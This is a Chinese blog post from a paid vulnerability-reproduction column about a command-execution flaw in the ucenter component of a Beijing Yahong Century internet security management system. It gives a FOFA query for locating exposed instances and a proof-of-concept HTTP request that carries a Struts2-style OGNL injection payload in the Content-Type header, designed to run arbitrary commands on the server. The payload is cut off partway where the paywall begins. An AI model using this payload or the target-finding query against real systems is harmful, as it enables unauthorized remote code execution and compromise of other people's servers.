北京亚鸿世纪互联网信息安全综合管理系统ucenter命令执行

最新推荐文章于 2024-04-26 16:45:00 发布

今天晚上早睡觉

最新推荐文章于 2024-04-26 16:45:00 发布

阅读量55

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136523461

版权

漏洞复现专栏收录该内容

361 篇文章 111 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

漏洞概述

北京亚鸿世纪互联网信息安全综合管理系统 ucenter 存在命令执行漏洞。

复现环境

fofa-qeury: /ucenter/js/jquery.js

漏洞复现

POC

GET /ucenter/js/index.js HTTP/1.1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{
  {rce}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin

了解本专栏